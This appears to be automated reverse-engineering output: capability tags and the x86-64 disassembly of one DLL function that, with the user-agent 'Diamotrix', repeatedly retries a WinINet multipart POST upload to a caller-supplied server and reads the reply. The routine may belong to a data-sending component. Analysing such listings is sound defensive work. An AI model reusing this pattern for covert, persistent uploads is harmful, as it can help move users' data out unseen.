Function at 0x18000edb4
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4da8]
mov eax, 0x4e80
call fcn.180009820
sub rsp, rax
mov rbx, r9
mov r12, r8
mov rdi, rdx
mov r14, rcx
xor r15d, r15d
xor r9d, r9d
lea rcx, str.Diamotrix
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
jne 0x18000ee20
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000edef
cmp qword [rdi + 0x18], 8
jb 0x18000ee2c
mov rdx, qword [rdi]
jmp 0x18000ee2f
mov rdx, rdi
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov r8d, 0x50
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
call qword [sym.imp.WININET.dll_InternetConnectW]
mov r13, rax
test rax, rax
jne 0x18000ee6b
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18000ee13
cmp qword [rbx + 0x18], 8
jb 0x18000ee77
mov r8, qword [rbx]
jmp 0x18000ee7a
mov r8, rbx
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
lea rdx, str.POST
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r15, rax
test rax, rax
je 0x18000efaa
mov rcx, qword [r12 + 8]
mov r9, qword [r12]
lea rdx, str.Content_Type:_multipart_form_data_r_n
sub rcx, qword [r12]
mov r8d, 0x23
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
xor ecx, ecx
test eax, eax
jne 0x18000ef05
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000edec
mov r12d, 0xf
mov dword [rbp + 0x4db8], ecx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x40], cl
jmp 0x18000ef3d
mov eax, dword [rbp + 0x4db8]
test eax, eax
je 0x18000ef5c
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
mov r8d, eax
call fcn.180001cdc
lea r9, [rbp + 0x4db8]
lea rdx, [rsp + 0x60]
mov r8d, 0x4e20
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000ef21
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.180001208
cmp qword [rsp + 0x58], 0x10
jb 0x18000ef96
mov rcx, qword [rsp + 0x40]
call fcn.180004798
xor r15d, r15d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r15
mov byte [rsp + 0x40], r15b
jmp 0x18000efe2
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r15d, r15d
mov r12d, 0xf
mov qword [r14 + 0x18], r12
mov qword [r14 + 0x10], r15
lea rdx, [0x180014e46]
xor r8d, r8d
mov rcx, r14
mov byte [r14], r15b
call fcn.1800013ac
cmp qword [rdi + 0x18], 8
jb 0x18000eff1
mov rcx, qword [rdi]
call fcn.180004798
mov qword [rdi + 0x10], r15
mov esi, 7
mov qword [rdi + 0x18], rsi
mov word [rdi], r15w
cmp qword [rbx + 0x18], 8
jb 0x18000f011
mov rcx, qword [rbx]
call fcn.180004798
lea r11, [rsp + 0x4e80]
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], r15
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov word [rbx], r15w
mov rbx, qword [r11 + 0x30]
mov rax, r14
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret